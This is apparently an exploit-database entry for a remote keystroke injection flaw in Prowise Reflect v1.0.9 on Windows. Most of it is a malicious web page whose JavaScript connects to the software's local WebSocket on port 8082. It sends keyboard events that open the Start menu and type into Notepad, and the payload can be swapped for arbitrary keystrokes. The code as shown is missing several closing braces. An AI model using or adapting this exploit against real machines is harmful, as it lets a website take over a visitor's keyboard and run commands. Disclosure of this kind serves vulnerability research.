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Prowise Reflect v1.0.9 - Remote Keystroke Injection



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# Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection
# Date: 30/10/2022
# Exploit Author: Rik Lutz
# Vendor Homepage: https://www.prowise.com/
# Version: V1.0.9
# Tested on: Windows 10

# Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection. 
# Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),
# or by visiting a malicious website. This POC contains the malicious webpage.
# Steps:
# 1. Start Prowise reflect
# 2. Try to connect to a reflect server e.q. ygm7u6od
# 3. When it is connecting click exploit
#   - Start menu will open, types notepad.exe and types hello world.


<script type = "text/javascript">

function wait(ms){
	var start = new Date().getTime();
	var end = start;
	while(end < start + ms) {
		end = new Date().getTime();

function WebSocketTest() {
	var StateConnecting = new Boolean(false);
	if ("WebSocket" in window) {               
		// Let us open a web socket
		var ws = new WebSocket("ws://localhost:8082");

		ws.onopen = function() {

			ws.send('{"event":"keyboard", "key":"super"}');		  
			//character is slower
			// ws.send('{"event":"keyboard", "character":"notepad.exe"}'};
			// You can check for connecting state by sending {"event":"setupRTCConnection", "remoteName":"a"} if the response is {"event":"streamAvailable"} getIsConnecting == true
			var exploitcode = "notepad.exe"
			for (let i = 0; i < exploitcode.length; i++) {
				ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');
			ws.send('{"event":"keyboard", "key":"enter"}');
			exploitcode = "Hello world!"
			for (let i = 0; i < exploitcode.length; i++) {
				ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');

		ws.onmessage = function (evt) { 
			var received_msg = evt.data;              

		ws.onclose = function() { 

			// websocket is closed.
			alert("Connection is closed..."); 
	} else {
		// The browser doesn't support WebSocket
		alert("WebSocket NOT supported by your Browser!");
      <div id = "sse">
         <a href = "javascript:WebSocketTest()">Exploit!</a>
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